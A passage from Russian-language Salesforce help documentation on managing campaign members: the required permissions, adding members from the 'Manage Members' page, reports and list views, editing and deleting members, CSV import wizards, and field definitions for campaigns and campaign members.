кампании:
• «Редактирование» для

кампаний

И

«Редактирование» для
интересов и контактов

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Для удаления участников
кампании:
• «Чтение» для кампаний

И

«Редактирование» для
интересов или контактов

Добавление участников кампании на странице «Управление участниками»

Страница «Управлениеучастниками» позволяетдобавлятьинтересыиконтактывкачестве
участниковкампании. Добавлениеконтактовв кампаниюдоступнотолькоприактивном
флажке «Добавить в кампанию».

Прим.: Прежде чем открыть страницу «Управление участниками», убедитесь в
наличии поддерживаемого обозревателя.

Чтобыдобавитьучастниковкампаниинастранице «Управлениеучастниками», выполните
указанные ниже действия.

1. Нажмите раскрывающуюся кнопку «Управление участниками» на странице
сведений о кампании или в связанном списке «Участники кампании» и выберите
пункт «Добавить участников — поиск».

2. Чтобыдобавитьинтересыиликонтакты, установитесоответствующийпереключатель
«Интересы» или «Контакты» на вложенной вкладке «Добавить участников».

3. Найдите нужные интересы или контакты.

• Укажите фильтры поиска и нажмите кнопку «Начать».

• Или выберите текущее представление (например, «Все открытые интересы») в
раскрывающемся списке «Использовать текущее представление». В этом случае
результаты отображаются автоматически. Чтобы изменить критерии текущего
представления, добавьте или измените нужные фильтры и нажмите кнопку
«Начать».

Прим.: Если выбранное представление использует дополнительные
параметры или более пяти фильтров, то критерии фильтрации не могут
быть изменены. Некоторые критерии фильтрации отображаются в
результатах поиска для данных представлений.

4. Установитефлажкинапротивнужныхзаписей. Чтобывыбратьвсе записинатекущей
странице, установите флажок в заголовке столбца.

5. Выберите нужный статус в раскрывающемся списке «Добавить со статусом».

Сообщение-подтверждение и добавленные участники отображаются на вложенной
вкладке «Текущие участники».

Прим.: Чтобы активировать флажок «Добавить в кампанию», выполните
указанные ниже действия.

1. Вразделепараметров управленияобъектамидля контактовперейдите кпункту
«Макеты поиска».

2. Щелкните ссылку «Правка» напротив спискового представления контактов.

3. Установите флажок «Добавить в кампанию».

4. Нажмите кнопку «Сохранить».
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Текущая версия страницы «Управление участниками» не поддерживает режим доступности. Тем не менее режим
доступности позволяет добавлять контакты или интересы в кампанию, обновлять участников кампании с помощью
специальных мастеров.

СМ. ТАКЖЕ:

Использование связанного списка «Участники кампании»

Пакетное редактирование участников кампании

Поиск по параметрам управления объектами

Добавление участников кампании из отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

Флажок «Пользователь Marketing»,
установленный на странице сведений о
пользователе

И

«Редактирование» для кампаний

И

«Чтение» для контактов

И

«Чтение» для отчетов

Для добавления участников кампании из
отчета по контактам:

Флажок «Пользователь Marketing»,
установленный на странице сведений о
пользователе

И

Для добавления участников кампании из
отчета по интересам:

«Редактирование» для кампаний

И

«Чтение» для интересов

И

«Чтение» для отчетов

Флажок «Пользователь Marketing»,
установленный на странице сведений о
пользователе

И

Для добавления участников кампании из
отчета по организациям-лицам:

«Редактирование» для кампаний

И

«Чтение» для контактов

И

«Чтение» для отчетов
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Чтобы добавить интересы, контакты или организации-лица из отчета в кампанию, выполните указанные ниже действия.

1. Нажмите кнопку «Добавить в кампанию» в отчете по кампаниям, контактам, интересам или организациям-лицам,
результатом которого является список интересов, контактов или организаций-лиц.

Совет: Добавляемый интерес или контакт может быть просмотрен только при наличии общего доступа.

Данная кнопка активна только в том случае, если отчет содержит не более 50 000 записей. В противном случае
рекомендуем изменить отчет и сократить количество отображаемых записей.

2. Чтобы выбрать кампанию для добавления результатов отчета, щелкните значок поиска.

3. Выберите статус участника для контактов, интересов или организаций-лиц, добавляемых в кампанию.

4. Определите необходимость переопределения статуса текущих участников кампании.

Если статус текущих участников кампании должен быть переопределен, то используется значение, выбранное в
предыдущем действии.

5. Нажмите кнопку «Добавить в кампанию».

6. Просмотрите сведения в окне подтверждения.

7. Чтобы вернуться к отчету, нажмите кнопку «Готово».

Прим.: Участники кампании могут быть добавлены из табличного, сводного или матричного отчета, но не могут
быть добавлены из составного отчета.

Ниже перечислены дополнительные рекомендации по добавлению участников кампании из отчета.

• Участники кампании добавляются группами, поэтому при неожиданном завершении процесса (например, при
нажатии кнопки «Отмена») некоторые участники могут быть добавлены.

• Записи интересов или контактов, редактируемые после нажатия кнопки «Добавить в кампанию», но до их
фактического добавления, не добавляются в кампанию.

• Преобразованные интересы не могут быть добавлены в кампании. Преобразованные интересы, доступные в отчете,
не добавляются в кампанию.
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Добавление контактов или интересов в кампанию из спискового представления

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного добавления
текущих контактов в
кампанию:
• Флажок «Пользователь

Marketing»,
установленный на
странице сведений о
пользователе

И

«Редактирование» для
кампаний

И

«Редактирование» для
контактов

Для пакетного добавления
текущих интересов в
кампанию:
• Флажок «Пользователь

Marketing»,
установленный на
странице сведений о
пользователе

И

«Редактирование» для
кампаний

И

«Редактирование» для
интересов

Для пакетного добавления
организаций-лиц в
кампанию:
• Флажок «Пользователь

Marketing»,
установленный на
странице сведений о
пользователе

И

«Редактирование» для
кампаний

И

«Редактирование» для
контактов

Чтобы добавить текущие контакты, интересы или организации-лица в кампанию из
спискового представления, выполните указанные ниже действия.

1. Выберите списковоепредставление контактовилиинтересов (например, списковое
представление «Мои контакты»). При необходимости создайте настраиваемые
списковые представления, которые ограничивают результаты по имени кампании
или статусу участника кампании.

Совет: Добавляемыйинтерес или контакт может быть просмотрен только при
наличии общего доступа.

2. Установите флажки напротив нужных записей. Чтобы выбрать все отображаемые
элементы столбца, установитефлажок в заголовкенужного столбца.Одновременно
на странице может отображаться до 250 записей.

3. Нажмите кнопку «Добавить в кампанию».

4. В первом действии мастера введите имя нужной кампании илищелкните значок
поиска для выбора текущей кампании.

5. Определитенеобходимостьпереопределениястатуса текущихучастниковкампании.

Если статус текущих участников кампании должен быть переопределен, то
используется значение, выбранное в предыдущем действии.

6. Нажмите кнопку «Добавить в кампанию».

7. Во втором действиимастера просмотрите сообщения-подтверждения о выбранных
участниках. Если выбранный пользователь уже является участником кампании, то
статус участника подлежит обновлению.

8. Чтобызавершитьработумастераи вернуться к списковомупредставлению, нажмите
кнопку «Готово».
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Отображение и редактирование участника кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра,
редактирования или
удаления участников
кампании:
• «Чтение» для кампаний

И

«Чтение» для интересов

И

«Чтение» для контактов

Для добавления участников
кампании:
• «Чтение» для кампаний

И

«Редактирование» для
интересов

И

«Редактирование» для
контактов

Страница сведений об участнике кампании позволяет редактировать, удалять или
клонировать запись участника кампании. Кроме того, данная страница позволяет
преобразовать интерес, если участник кампанииосновывается на интересе, или создать
возможность, если участник кампании основывается на контакте.

Чтобыпросмотреть страницу сведенийоб участнике кампании, щелкните имянужного
участника кампании в столбце «Имя», «Личное имя» или «Фамилия» связанного списка
«Участники кампании», доступного на странице сведений о кампании или на вкладке
«Текущие участники».

Прим.: Сведения об участнике кампании доступны только при наличии
соответствующихполномочийдля кампаниииинтересаили контакта. Например,
сведения об участнике кампании, созданном из интереса, доступны только при
наличии полномочий на просмотр кампании и интереса.

Чтобы изменить макет страницы подробных сведений участника кампании, перейдите
изразделапараметровуправленияобъектамидля участниковкампаниивраздел «Макеты
страниц», затем щелкните «Правка» рядом с именем макета.

Редактирование участника кампании
Чтобы изменить участника кампании, нажмите кнопку «Правка» на странице
сведенийобучастникекампании, изменитесоответствующиеполяинажмитекнопку
«Сохранить». Поля, извлеченные из контакта или интереса, могут редактироваться
только на странице сведений об интересе или контакте.

Прим.: Функция встроенного редактирования, включенная в организации, не
поддерживаетсяраскрывающимсясписком «Статус» настраницесведенийоб
участнике кампании. Чтобы изменить значения раскрывающегося списка
«Статус», нажмите кнопку «Правка» на странице сведений о кампании.

Клонирование участника кампании
Чтобы клонировать участника кампании, нажмите кнопку «Клонировать» на
странице сведений об участнике кампании и выберите нужную кампанию, а также
нужный контакт или интерес. Измените соответствующие поля и нажмите кнопку
«Сохранить».

Удаление участника кампании
Чтобыудалитьучастникакампании, нажмитекнопку«Удалить»настраницесведений
об участнике кампании.

Прим.: Удаление записи участника кампании является необратимым; запись
не может быть восстановлена из корзины. Однако исходная запись интереса
или контакта не подлежит удалению.

Преобразование интереса
Чтобыпреобразоватьинтерес, использованныйдля создания участника кампании, нажмите кнопку «Преобразовать
интерес» на странице сведений об участнике кампании. При преобразовании интереса участник кампании остается
частью кампании, но тип участника меняется с интереса на контакт.
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Создание возможности
Чтобы создать возможность, если участник кампании создан на основе контакта, нажмите кнопку «Создать
возможность»настраницесведенийобучастникекампании. Присозданиивозможностиучастниккампанииостается
частью кампании.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами

Поля участников кампании

Поля участников кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Ниже перечислены поля, доступные на странице сведений об участнике кампании.
Основные поля участника кампании извлекаются из записи интереса или контакта,
использованной для создания участника кампании, поэтому должны редактироваться в
соответствующейзаписиинтересаиликонтакта. Взависимостиотиспользуемогомакета
страницы и параметров безопасности полей, некоторые поля могут быть скрыты или
недоступны для редактирования.

ОписаниеПоле

Кампания, которой принадлежит интерес или контакт.Кампания

Стандартнаявалютадлявсехполейвалютывзаписиучастника
кампании. Стоимость отображается в валюте участника

Валюта участника
кампании

кампании, а также преобразуется в личную валюту
пользователя. Данноеполедоступнотолькомультивалютным
организациям.

Тип записи участника кампании, который определяет макет
страницы, доступныйучастникукампании. (Толькодлячтения)

Тип участника
кампании

Часть адреса интереса или контакта: название города.Город

Компания, если участник кампанииоснованнаинтересе, или
организация, если участник кампании основан на контакте.

Компания
(организация)

Имя контакта, если участник кампании основан на контакте.Контакт

Часть адреса пользователя: название страны. Значение
выбираетсяизраскрывающегосяспискастандартныхзначений

Страна

или вводится как текст. Поле, являющееся текстовым, может
содержать не более 80 символов.

Пользователь, создавший участника кампании. (Только для
чтения)

Создано

Дата создания участника кампании. (Только для чтения)Дата создания

Описание интереса или контакта.Описание

Желает ли контакт, чтобысвзяьосуществляласьпо телефону.
При использовании Data.com значение поля «Телефон» не

Не звонить
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ОписаниеПоле

отображается в результатах поиска и бизнес-карточках, а также отсутствует в
.csv-файлах, созданных во время экспорта записей.

Адрес эл. почты интереса или контакта.Эл. почта

Желает ли контакт получать электронные сообщения. При использовании Data.com
значениеполя «Эл. почта» неотображаетсяврезультатахпоискаибизнес-карточках,
а также отсутствует в .csv-файлах, созданных во время экспорта записей.

Без рассылки по эл. почте

Номер факса интереса или контакта.Факс

Желает ли контакт быть включенным в список рассылок по факсу.Без рассылки по факсу

Личное имя интереса или контакта.Личное имя

Дата отправки первого ответа участником кампании. (Только для чтения)Дата первого ответа

Пользователь, которыйпоследнимизменил запись участника кампании. (Только для
чтения)

Последнее изменение сделано

Дата последнего изменения записи участника кампании. (Только для чтения)Дата последнего изменения

Фамилия интереса или контакта.Фамилия

Имя интереса, если участник кампании основан на интересе.Интерес

Источник интереса (например, реклама, партнер или Интернет). Запись выбирается
израскрывающегосяспискадоступныхзначений, заданныхадминистратором. Каждое
значение раскрывающегося списка может содержать не более 40 символов.

Источник интереса

Номер мобильного телефона интереса или контакта.Мобильный

Номер телефона интереса или контакта.Тел.

Указывает на то, ответил ли участник кампании.Отвечено

Приветствие при обращении к пользователю (например, господин, госпожа,
профессор).

Приветствие

Часть адреса пользователя: название области илиштата. Значение выбирается из
раскрывающегося списка стандартных значений или вводится как текст. Поле,
являющееся текстовым, может содержать не более 80 символов.

Область/штат

Статус участника кампании (например, «Отправлено» или «Отвечено»).Статус

Часть адреса интереса или контакта: название улицы.Улица

Должность интереса или контакта (например, президент).Должность
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ОписаниеПоле

Часть адреса интереса или контакта: почтовый индекс.Почтовый индекс

СМ. ТАКЖЕ:

Отображение и редактирование участника кампании

Пакетное добавление участников кампании
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Импорт участников кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения кампаний:
• «Редактирование» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Для импорта интересов в
качестве участников
кампании:
• «Редактирование» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

И

«Импорт интересов»

Для использования мастера
обновления кампаний:
• «Редактирование» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

И

«Импорт интересов»

И

«Чтение» для контактов

Два мастера импорта кампаний позволяют назначенным пользователям Marketing
использовать CSV-файлы для импорта новых интересов и отслеживания ответов,
полученных от интересов и контактов на каждом этапе кампании.

Прим.: Если региональные настройки не поддерживают использование запятых,
воспользуйтесь символом табуляции или любым другим разделителем.

Чтобы воспользоваться нужныммастером импорта, нажмите раскрывающуюся кнопку
«Управление участниками» на странице сведений о кампании и выберите одно из
указанных ниже значений.

• «Добавить участников — импортфайла», затем нажмите кнопку «Интересы».
Мастеримпортаданныхпозволяетимпортироватьцелыйсписокновыхимен. Система
Salesforce создаетисвязываетинтересыскампаниейдлядобавленияновыхучастников
кампании.

• «Обновить и добавить участников — импортфайла», затем нажмите кнопку
«Обновить и добавить участников кампании». «Обновление статуса участника
кампании»позволяетимпортироватьсписоктекущихконтактовиинтересовSalesforce.
Система Salesforce связывает записи с текущими участниками кампаниии обновляет
ихжурналыответов. Кроме того, любыеновыеинтересыиликонтакты, добавленные
с помощью мастера обновления кампаний, будут добавлены в качестве участников
кампании.
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Использование мастера импорта данных с кампаниями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Версия Group Edition
позволяет использовать
мастер импорта данных, но
не поддерживает доступ к
кампаниям.

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта интересов с
помощью мастера импорта
данных:
• «Редактирование» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

И

«Импорт интересов»

Мастер импорта данных позволяет импортировать не более 50 000 новых интересов и
связывать их с кампаниями. Рекомендуем использовать данный мастер для кампаний,
создающих интересы.

Советы по использованию мастера импорта данных

• Если файл импорта содержит имена, которые совпадают с именами текущих
интересов, то создаются повторяющиеся интересы.

• Еслифайлимпорта содержитповторяющиесяимена, то создаютсяповторяющиеся
интересы.

Использование мастера импорта данных

1. Подготовьте список имен в соответствии с требованиями для соотнесения полей в
файле импорта интересов.

2. Нажмите раскрывающуюся кнопку «Управление участниками» и выберите пункт
«Добавить участников — импортфайла» на странице сведений о кампании.

3. Щелкните «Интересы».

4. Нажмите кнопку «Обновить имеющиеся записи».

5. Выберите источник интереса.

6. Чтобы назначить интересы, выберите правило назначения.

7. При необходимости настройте параметры правила назначения для уведомления
новых ответственных.

8. Выберите статус участника по умолчанию для интересов с недопустимыми или
пустыми статусами.

9. Выберите кодировку файла импорта. Рекомендуем использовать стандартную
настройку.

10. При необходимости запустите бизнес-правила для новых и обновленных записей.

11. При необходимости запустите бизнес-правила для новых участников кампании.

12. Выберите файл импорта

13. Нажмите кнопку «Далее».

14. Соотнесите поля Salesforce и файла импорта, а затем нажмите кнопку «Далее».

15. Соотнеситеполе статуса участника кампании Salesforceилюбыенастраиваемыеполя
участника кампании с файлом импорта. Затем нажмите кнопку «Далее». Данное
действие доступно только при наличии настраиваемых полей участника кампании.

16. Нажмите кнопку «Импортировать!».

Чтобы убедиться в правильном импорте статуса участника, просмотрите связанный
список интереса «Журнал кампании».

СМ. ТАКЖЕ:

Импорт участников кампании
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Обновление статуса участника кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования мастера
обновления кампаний:
• «Редактирование» для

кампаний

И

«Импорт интересов»

И

«Чтение» для контактов

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Обновите статус участника кампании с помощью мастера обновления кампании.
Импортируйте до 50 000 контактов и интересов для обновления статусов участников
кампании.

1. Запуститеотчетпо контактамилиинтересамв системе Salesforce, затемдобавьтеполе
«Код контакта» или «Код интереса». Готовый отчет должен быть экспортирован
в Microsoft® Excel®.

Принеобходимостиобъединитеэкспортированныеотчетыпоинтересамиконтактам
водин CSV-файлспомощьюприложения Excel. Убедитесь, что значенияполей «Код
интереса» и «Код контакта» находятся в соответствующем столбце Excel.

Прим.: Если региональные настройки не поддерживают использование
запятых, воспользуйтесьсимволомтабуляцииилилюбымдругимразделителем.

2. Переименуйте столбец «Код интереса»/«Код контакта» в «Код записи».

3. Дополнительно: добавьте столбец «Статус» и введите статус участника для каждой
записи. Записям, которыесодержатпустыеилинедопустимыестатусы, присваивается
статус участника, выбранный в мастере по умолчанию.

4. Нажмите раскрывающуюся кнопку «Управление участниками» на странице
сведений о кампании, которую нужно обновить, и выберите пункт «Обновить и
добавить участников — импортфайла».

5. Нажмите кнопку «Обновить и добавить участников кампании».

6. Чтобы выбрать нужныйфайл импорта, нажмите кнопку «Обзор...».

7. Выберите статус участника по умолчанию для контактов или интересов с
недопустимыми или пустыми статусами.

8. Выберите кодировку файла импорта. Рекомендуем использовать стандартную
настройку.

9. Дополнительно: запустите бизнес-правила для новых и обновленных записей.

10. Нажмите кнопку «Далее».

11. Соотнесите поля Salesforce ифайла импорта, а затем нажмите кнопку «Далее». Даннаяфункция доступна только при
наличии настраиваемых полей участника кампании.

12. Нажмите кнопку «Импортировать!».
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Поля кампаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены поля, доступные в кампаниях. В зависимости от используемого
макета страницыипараметровбезопасностиполей, некоторыеполямогут быть скрыты
или недоступны для редактирования.

ОписаниеПоле

Флажок, определяющий активность
кампании.

Активно

Количество средств, потраченных на
проведение кампании.

Фактические затраты

Количество средств, выделенных на
проведение кампании.

Плановые затраты

Стандартная валюта для всех полей
валюты в кампании. Стоимость

Валюта кампании

отображается в валюте кампании, а также
преобразуется в личную валюту
пользователя. Данное поле доступно
только мультивалютным организациям.

Тип записи для участников кампании;
определяетмакетстраницыдляучастников

Тип участника кампании

кампании. Доступно в версиях Enterprise
Edition, Unlimited Edition, Performance Edition
и Developer Edition.

Название кампании.Имя кампании

Назначенныйответственныйзакампанию.Ответственный за кампанию

Тип записи для кампании; определяет
значения раскрывающегося списка,

Тип записи кампании

доступные для кампании. Доступно в
версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

Количество интересов, преобразованных
в организации в результате проведения

Преобразованные интересы

маркетинговых мер, предпринятых в
рамках кампании. Система Salesforce
автоматическивычисляетданноезначение
сиспользованиемвсех связанныхзаписей,
независимоотналичияправанаихчтение.
Дополнительную информацию о
преобразовании интересов см. в разделе
«Преобразование квалифицированных
интересов»на странице1475. Вотличиеот
полейнастраиваемойформулы, формулы,
используемыевбизнес-правилах, правилах
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ОписаниеПоле

проверки, обновленияхполейилипроцессах утверждения,
не могут ссылаться на данное поле. Обновления данного
поля не инициируют выполнение бизнес-правил.

Пользователь, создавший кампанию, а также дата и время
создания. (Только для чтения)

Создано

Список настраиваемых ссылок для кампаний, заданных
администратором.

Настраиваемые ссылки

Описание кампании. Данное поле поддерживает ввод не
более 32 Кбданных. Вотчетахотображаютсятолькопервые
255 символов.

Описание

Дата завершения кампании. Ответы, полученные позже
данной даты, также подлежат учету.

Дата окончания

Процент ответов, который ожидается получить для
кампании.

Ожидаемый ответ (%)

Количество средств, которое должно быть получено в
результате проведения кампании.

Ожидаемый доход

Пользователь, которыйизменялполякампаниипоследним,
а такжедатаивремяизменения. Данноеполенеотслеживает

Последнее изменение сделано

изменения, внесенныевлюбыеэлементысвязанногосписка
кампании. (Только для чтения)

Вычисляемоеполедляколичествавозможностей, связанных
с кампанией. (Только для чтения) Система Salesforce

Итого число возможностей

автоматически вычисляет данное значение с
использованием всех связанных записей, независимо от
наличия права на их чтение. В отличие от полей
настраиваемойформулы, формулы, используемые в
бизнес-правилах, правилах проверки, обновлениях полей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Количество отдельных лиц, охваченных кампанией.
Например, количествоотправленныхсообщенийэл. почты.

Число отправленных

Вычисляемое поле для количества закрытых или
реализованных возможностей, связанных с кампанией.

Число реализованных возможностей

(Только для чтения) Система Salesforce автоматически
вычисляет данное значение с использованием всех
связанных записей, независимо от наличия права на их
чтение. В отличие от полей настраиваемойформулы,
формулы, используемые в бизнес-правилах, правилах
проверки, обновленияхполейилипроцессах утверждения,
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не могут ссылаться на данное поле. Обновления данного
поля не инициируют выполнение бизнес-правил.

Вышестоящая кампания в иерархии кампаний.Родительская кампания

Дата начала кампании.Дата начала

Статус кампании (например, «Запланировано» или
«Выполняется»). Запись выбирается из раскрывающегося

Статус

списка доступных значений, заданных администратором.
Каждое значение раскрывающегося списка может
содержать не более 40 символов.

Вычисляемое поле для общего количества средств,
потраченныхнапроведениекампании. (Толькодлячтения)

Итого фактические затраты в иерархии

Система Salesforce автоматически вычисляет данное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемое поле для общего количества средств,
выделенных на иерархию кампаний. (Только для чтения)

Итого плановые затраты в иерархии

Система Salesforce автоматически вычисляет данное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Количество отдельных пользователей организации,
связанных с кампанией. Система Salesforce автоматически

Всего контактов

вычисляет данное значение с использованием всех
связанных записей, независимо от наличия права на их
чтение. В отличие от полей настраиваемойформулы,
формулы, используемые в бизнес-правилах, правилах
проверки, обновленияхполейилипроцессах утверждения,
не могут ссылаться на данное поле. Обновления данного
поля не инициируют выполнение бизнес-правил.

Вычисляемое поле для количества контактов, связанных с
иерархиейкампаний. (Толькодлячтения) СистемаSalesforce

Итого контактов в иерархии

автоматически вычисляет данное значение с
использованием всех связанных записей, независимо от
наличия права на их чтение. В отличие от полей
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настраиваемойформулы, формулы, используемые в
бизнес-правилах, правилах проверки, обновлениях полей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемое поле для общего количества интересов,
связанных с иерархией кампаний и преобразованных в

Итого преобразованных интересов в иерархии

организации, контактыиливозможности. СистемаSalesforce
автоматически вычисляет данное значение с
использованием всех связанных записей, независимо от
наличия права на их чтение. В отличие от полей
настраиваемойформулы, формулы, используемые в
бизнес-правилах, правилах проверки, обновлениях полей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемоеполедляобщегоколичества средств, которое
должнобытьполученоотиерархиикампаний. (Толькодля

Итого ожидаемый доход в иерархии

чтения) Система Salesforce автоматическивычисляетданное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Количество потенциальных возможностей (интересов),
связанных с кампанией. Система Salesforce автоматически

Всего интересов

вычисляет данное значение с использованием всех
связанных записей, независимо от наличия права на их
чтение. В отличие от полей настраиваемойформулы,
формулы, используемые в бизнес-правилах, правилах
проверки, обновленияхполейилипроцессах утверждения,
не могут ссылаться на данное поле. Обновления данного
поля не инициируют выполнение бизнес-правил.

Вычисляемое поле для общего количества интересов,
связанныхсиерархиейкампаний. Данноеколичествотакже

Итого интересов в иерархии

включаетпреобразованныеинтересы. (Толькодлячтения)
Система Salesforce автоматически вычисляет данное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
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поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемое поле для общего количества отдельных лиц,
охваченных иерархией кампаний (например, количество

Итого число отправленных в иерархии

отправленных сообщений эл. почты). (Только для чтения)
Система Salesforce автоматически вычисляет данное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемое поле для общего количества возможностей,
связанных с иерархией кампаний. (Только для чтения)

Итого возможностей в иерархии

Система Salesforce автоматически вычисляет данное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемое поле для общего количества контактов и
непреобразованныхинтересов, содержащихполекампании

Всего ответов

«Статус участника» созначением «Полученответ». (Только
для чтения) Система Salesforce автоматически вычисляет
данноезначениесиспользованиемвсехсвязанныхзаписей,
независимо от наличия права на их чтение. В отличие от
полей настраиваемойформулы, формулы, используемые
вбизнес-правилах, правилахпроверки, обновленияхполей
или процессах утверждения, не могут ссылаться на данное
поле. Обновления данного поля не инициируют
выполнение бизнес-правил.

Вычисляемое поле для количества контактов и
непреобразованныхинтересов, содержащихполеиерархии

Итого ответов в иерархии

кампании «Статус участника» со значением «Получен
ответ». (Толькодлячтения) СистемаSalesforce автоматически
вычисляет данное значение с использованием всех
связанных записей, независимо от наличия права на их
чтение. В отличие от полей настраиваемойформулы,
формулы, используемые в бизнес-правилах, правилах
проверки, обновленияхполейилипроцессах утверждения,
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не могут ссылаться на данное поле. Обновления данного
поля не инициируют выполнение бизнес-правил.

Вычисляемое поле для стоимости всех возможностей,
связанныхскампанией, включаязакрытыеиреализованные

Итого ценность возможностей

возможности. (Только для чтения) Система Salesforce
автоматически вычисляет данное значение с
использованием всех связанных записей, независимо от
наличия права на их чтение.

Если в организации включена поддержка нескольких
валют, то стоимость возможности преобразуется в валюту
кампании. Если валюта пользователя не соответствует
валюте кампании, то стоимость преобразуется в валюту
пользователя и отображается в скобках.

Если в организации включена функция расширенного
управления валютами, то стоимости возможностей
преобразуются в валюту кампании с помощью
датированных курсов обмена. Если валюта кампании не
соответствует валюте пользователя, то общая стоимость
возможности преобразуется с помощью стандартных
курсов обмена (вместо датированных) и отображается в
скобках.

В отличие от полей настраиваемойформулы, формулы,
используемые в бизнес-правилах, правилах проверки,
обновлениях полей или процессах утверждения, не могут
ссылаться на данное поле. Обновления данного поля не
инициируют выполнение бизнес-правил.

Вычисляемое поле для общей стоимости всех
возможностей, связанных с иерархией кампаний, включая

Итого ценность возможностей в иерархии

закрытые и реализованные возможности. (Только для
чтения) Система Salesforce автоматическивычисляетданное
значение с использованием всех связанных записей,
независимо от наличия права на их чтение.

Все кампании в иерархии должны использовать
одинаковую валюту.

Если в организации включена поддержка нескольких
валют, то стоимость возможности преобразуется в валюту
кампании. Если валюта пользователя не соответствует
валюте кампании, то стоимость преобразуется в валюту
пользователя и отображается в скобках.

Если в организации включена функция расширенного
управления валютами, то стоимости возможностей
преобразуются в валюту кампании с помощью
датированных курсов обмена. Если валюта кампании не
соответствует валюте пользователя, то общая стоимость
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возможности преобразуется с помощью стандартных
курсов обмена (вместо датированных) и отображается в
скобках.

Вычисляемое поле для стоимости всех закрытых и
реализованных возможностей, связанных с кампанией.

Итого ценность реализованных возможностей

(Только для чтения) Система Salesforce автоматически
вычисляет данное значение с использованием всех
связанных записей, независимо от наличия права на их
чтение.

Если в организации включена поддержка нескольких
валют, то стоимость возможности преобразуется в валюту
кампании. Если валюта пользователя не соответствует
валюте кампании, то стоимость преобразуется в валюту
пользователя.

Если в организации включена функция расширенного
управления валютами, то стоимости возможностей
преобразуются в валюту кампании с помощью
датированных курсов обмена. Если валюта кампании не
соответствует валюте пользователя, то общая стоимость
возможности преобразуется с помощью стандартных
курсов обмена (вместо датированных) и отображается в
скобках.

В отличие от полей настраиваемойформулы, формулы,
используемые в бизнес-правилах, правилах проверки,
обновлениях полей или процессах утверждения, не могут
ссылаться на данное поле. Обновления данного поля не
инициируют выполнение бизнес-правил.

Вычисляемое поле для стоимости всех закрытых и
реализованных возможностей, связанных с иерархией

Итого ценность реализованных возможностей в иерархии

кампаний. (Только для чтения) Система Salesforce
автоматически вычисляет данное значение с
